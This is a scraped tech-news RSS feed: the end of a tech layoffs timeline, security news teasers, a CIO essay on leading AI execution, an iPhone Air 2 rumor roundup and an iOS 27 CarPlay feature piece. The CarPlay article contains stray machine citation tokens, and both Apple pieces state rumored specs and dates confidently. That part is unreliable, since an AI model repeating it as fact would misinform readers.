<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Synthetic Identity Fraud is Coming for Machine Identities]]></title>
<description><![CDATA[Most people understand identity theft as an attacker stealing a real person's sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several real data points...]]></description>
<link>https://tsecurity.de/de/3688997/it-security-nachrichten/how-synthetic-identity-fraud-is-coming-for-machine-identities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688997/it-security-nachrichten/how-synthetic-identity-fraud-is-coming-for-machine-identities/</guid>
<pubDate>Thu, 23 Jul 2026 14:15:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Most people understand identity theft as an attacker stealing a real person's sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several real data points with fabricated ones to create a person who doesn't exist. Since no real victim monitors misuse, a]]></content:encoded>
</item>
<item>
<title><![CDATA[How Synthetic Identity Fraud is Coming for Machine Identities]]></title>
<description><![CDATA[Most people understand identity theft as an attacker stealing a real person’s sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several…
Read more →
The...]]></description>
<link>https://tsecurity.de/de/3688983/it-security-nachrichten/how-synthetic-identity-fraud-is-coming-for-machine-identities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688983/it-security-nachrichten/how-synthetic-identity-fraud-is-coming-for-machine-identities/</guid>
<pubDate>Thu, 23 Jul 2026 14:13:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Most people understand identity theft as an attacker stealing a real person’s sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/how-synthetic-identity-fraud-is-coming-for-machine-identities/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/how-synthetic-identity-fraud-is-coming-for-machine-identities/">How Synthetic Identity Fraud is Coming for Machine Identities</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[France, Germany Summon Russian Envoys Over Alleged Cyber Espionage Campaign]]></title>
<description><![CDATA[France and Germany have announced diplomatic action against Russia following allegations that a coordinated cyber espionage and sabotage campaign target multiple European countries. In the coming days, the Foreign Minister said France would summon the Russian ambassador to Paris and…
Read more →
...]]></description>
<link>https://tsecurity.de/de/3688735/it-security-nachrichten/france-germany-summon-russian-envoys-over-alleged-cyber-espionage-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688735/it-security-nachrichten/france-germany-summon-russian-envoys-over-alleged-cyber-espionage-campaign/</guid>
<pubDate>Thu, 23 Jul 2026 12:43:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>France and Germany have announced diplomatic action against Russia following allegations that a coordinated cyber espionage and sabotage campaign target multiple European countries. In the coming days, the Foreign Minister said France would summon the Russian ambassador to Paris and…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/france-germany-summon-russian-envoys-over-alleged-cyber-espionage-campaign/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/france-germany-summon-russian-envoys-over-alleged-cyber-espionage-campaign/">France, Germany Summon Russian Envoys Over Alleged Cyber Espionage Campaign</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Here are the 5 biggest changes coming to the Samsung Galaxy Z Fold 8 Ultra compared to the Z Fold 7]]></title>
<description><![CDATA[Looking to upgrade your Samsung Galaxy Z Fold 7 to a Galaxy Z Fold 8 Ultra? Here are 5 major changes you need to know about.]]></description>
<link>https://tsecurity.de/de/3688631/it-nachrichten/here-are-the-5-biggest-changes-coming-to-the-samsung-galaxy-z-fold-8-ultra-compared-to-the-z-fold-7/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688631/it-nachrichten/here-are-the-5-biggest-changes-coming-to-the-samsung-galaxy-z-fold-8-ultra-compared-to-the-z-fold-7/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Looking to upgrade your Samsung Galaxy Z Fold 7 to a Galaxy Z Fold 8 Ultra? Here are 5 major changes you need to know about.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone Air 2 Release Date, Features, Camera, Battery and Everything We Know]]></title>
<description><![CDATA[Apple is already working on the second-generation iPhone Air, and early reports suggest it will fix several of the biggest complaints about the first model. While the original iPhone Air impressed buyers with its ultra-thin design, many users wanted better cameras, longer battery life, and improv...]]></description>
<link>https://tsecurity.de/de/3688250/ios-mac-os/iphone-air-2-release-date-features-camera-battery-and-everything-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688250/ios-mac-os/iphone-air-2-release-date-features-camera-battery-and-everything-we-know/</guid>
<pubDate>Thu, 23 Jul 2026 09:13:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is already working on the second-generation iPhone Air, and early reports suggest it will fix several of the biggest complaints about the first model. While the original iPhone Air impressed buyers with its ultra-thin design, many users wanted better cameras, longer battery life, and improved sustained performance.



The upcoming iPhone Air 2 is expected to bring meaningful hardware upgrades while keeping the slim design that defines the Air lineup. Apple also appears to be changing its iPhone launch strategy, which means the next Air model may not arrive alongside the Pro models as many expected.



iPhone Air 2 at a glance



FeatureExpected DetailsRelease windowSpring 2027ProcessorA20 Pro built on 2nm processRear camerasDual cameras with Wide + Ultra WideBatteryAround 3,500mAhCoolingVapor chamber coolingDesignSimilar ultra-thin chassis



Will Apple release an iPhone Air 2?



There were reports earlier that Apple had paused development because the first iPhone Air did not sell as well as expected. 



Later reports clarified that Apple had not canceled the device. Instead, the company shifted its roadmap and continues to develop a second-generation model, which is currently believed to be in advanced testing under the internal codename V62.



A second rear camera is finally coming







The biggest limitation of the current iPhone Air is its single rear camera. Apple reportedly plans to solve that by adding a second lens.



Instead of using a telephoto camera, the company is expected to include an Ultra Wide sensor. This setup would match Apple's standard iPhone models and make the Air much more versatile for photography.



Expected camera improvements




48MP primary Wide camera



Ultra Wide secondary camera



Better landscape photography



Improved macro capabilities



More flexibility for video recording




A telephoto lens is still expected to remain exclusive to Pro models.



A20 Pro chip with 2nm technology







Another major upgrade is the processor.



The iPhone Air 2 is expected to use Apple's new A20 Pro chip, making it one of the first iPhones built on a 2-nanometer manufacturing process.



Apple is also expected to adopt Wafer-Level Multi-Chip Module technology, which integrates memory and the processor more efficiently. This design should improve both performance and power efficiency.



Expected benefits




Faster CPU performance



Better graphics performance



Lower power consumption



Improved AI processing



Longer battery life through better efficiency




Bigger battery without sacrificing thinness







Battery life was another common complaint about the first iPhone Air. Apple reportedly plans to address that with both hardware and silicon improvements.



Supply chain information suggests the iPhone Air 2 will include a battery around 3,500mAh, compared to the current 3,149mAh battery.



That represents roughly an 11 percent increase in capacity before accounting for the efficiency gains from the A20 Pro chip. While Apple has not confirmed real-world battery figures, users should expect noticeably longer endurance than the current generation.



Vapor chamber cooling arrives







Apple first introduced vapor chamber cooling on its Pro iPhones, and the technology is now expected to reach the Air lineup.



This cooling system spreads heat more effectively across the phone, allowing the processor to maintain higher performance during demanding workloads.



That means users can expect:




Better gaming performance



Less thermal throttling



Cooler temperatures during extended use



More stable performance while editing videos or using AI features




Expected release date



Apple originally planned to launch the iPhone Air 2 alongside the iPhone 18 Pro lineup in September 2026.



More recent reports point to a different strategy.



Apple is now expected to launch:



ProductExpected launchiPhone 18 ProFall 2026iPhone 18 Pro MaxFall 2026Foldable iPhoneFall 2026iPhone 18Spring 2027iPhone Air 2Spring 2027



This split launch schedule would allow Apple to focus premium devices in the fall while introducing mainstream models several months later.



Wrap Up



Based on current reports, the iPhone Air 2 looks like a much more complete device than its predecessor. A second rear camera, a larger battery, a faster A20 Pro chip, and vapor chamber cooling directly address the biggest compromises of the first-generation model while preserving its ultra-thin design.



As with all early Apple leaks, these details remain unofficial until the company makes an announcement. If the current roadmap stays on track, the iPhone Air 2 should arrive in spring 2027 with a stronger feature set and a better balance between portability and everyday performance.]]></content:encoded>
</item>
<item>
<title><![CDATA[iOS 27 CarPlay: Every New Feature Coming This Fall]]></title>
<description><![CDATA[Apple is bringing several useful upgrades to CarPlay with iOS 27, making the in-car experience smarter, more interactive, and easier to use. While this is not the biggest CarPlay update ever released, it introduces meaningful improvements across Siri, media playback, video apps, and the overall i...]]></description>
<link>https://tsecurity.de/de/3688187/ios-mac-os/ios-27-carplay-every-new-feature-coming-this-fall/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688187/ios-mac-os/ios-27-carplay-every-new-feature-coming-this-fall/</guid>
<pubDate>Thu, 23 Jul 2026 08:57:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is bringing several useful upgrades to CarPlay with iOS 27, making the in-car experience smarter, more interactive, and easier to use. While this is not the biggest CarPlay update ever released, it introduces meaningful improvements across Siri, media playback, video apps, and the overall interface.



The biggest highlight is Siri AI, which finally gives CarPlay a more capable voice assistant. Alongside that, Apple has expanded video support, refreshed the design, and added quality-of-life improvements for media controls. Most of these features will arrive when iOS 27 launches publicly this fall, although some will depend on whether automakers enable support in their vehicles.



FeatureWhat's NewAvailabilitySiri AISmarter conversations, context memory, synced historyAll supported CarPlay usersVideo AppsNative video browsing and playback appsSupported vehicles onlyNew WallpapersFresh wallpapers matching iOS 27 designAll usersLiquid Glass IconsUpdated app icons across CarPlayAll usersMiniPlayerAlbum artwork and playback controlsSupported media appsAudio ScrubbingDrag through songs and podcastsSupported media apps



Siri AI Makes CarPlay Much Smarter







The biggest improvement in iOS 27 is the arrival of Siri AI inside CarPlay. Apple has redesigned Siri with a cleaner interface that appears as a glowing orb at the bottom of the screen. The design is simpler than previous Apple Intelligence versions while remaining easy to recognize during driving.



More importantly, Siri now understands natural conversations much better. Instead of responding to one question at a time, it remembers the context of your conversation, allowing follow-up questions without repeating the original request. This makes navigation, messaging, and general information requests feel much more natural.



Siri AI also answers broader knowledge questions in a way that feels similar to modern AI assistants. Whether you ask about travel plans, nearby places, or general information, the responses are more detailed and conversational than before.



Siri Conversation History Sync



Apple has also introduced conversation syncing between CarPlay and the new Siri app on iPhone.



After using Siri in your car, you can open the Siri app on your iPhone and review previous conversations. Requests made through CarPlay are clearly marked with a small car icon, making it easy to continue a conversation after leaving your vehicle.



Native Video Apps Come to CarPlay







Apple first introduced video playback in cars through AirPlay, but iOS 27 expands the experience much further.



Developers can now build dedicated CarPlay video apps that allow users to browse their content directly from the vehicle's display instead of relying entirely on the iPhone interface.



This means supported streaming services can provide a complete CarPlay experience while the vehicle is parked.



Important limitations




Videos only play while the vehicle is stationary.



Playback stops when driving begins and switches to audio if supported.



Vehicle manufacturers must enable this feature.



Older vehicles may never receive support. citeturn0search1turn0search4




Refreshed CarPlay Design



Apple has updated the visual appearance of CarPlay to match the rest of iOS 27.



Users receive a new collection of wallpapers inspired by the latest system design. The updated backgrounds closely match the look found across iOS 27 and macOS Golden Gate.



CarPlay app icons also adopt Apple's latest Liquid Glass styling, creating a more modern appearance while keeping familiar layouts intact.



Better Media Playback Controls



Media playback receives several practical improvements that users have requested for years.



New MiniPlayer



Media applications now display a MiniPlayer in the upper-right corner of the interface.



Instead of showing a simple waveform icon, the MiniPlayer includes:




Album artwork



Play and pause controls



Quick access to currently playing content




This allows users to keep playback controls visible while browsing music or podcasts.



Audio Scrubbing Finally Arrives



One of the most welcome additions is audio scrubbing.



Users can now drag the playback progress bar directly from the Now Playing screen to move forward or backward through songs, podcasts, and supported audio content. Apple has also enlarged the progress indicator, making it easier to use on a vehicle's touchscreen.



This small feature significantly improves everyday usability, especially for podcasts and long playlists.



Compatibility



The new CarPlay features require:



RequirementStatusiPhone running iOS 27RequiredCompatible CarPlay vehicleRequiredNative video appsRequires automaker supportSiri AIAvailable on supported iPhones with iOS 27



Wrap Up



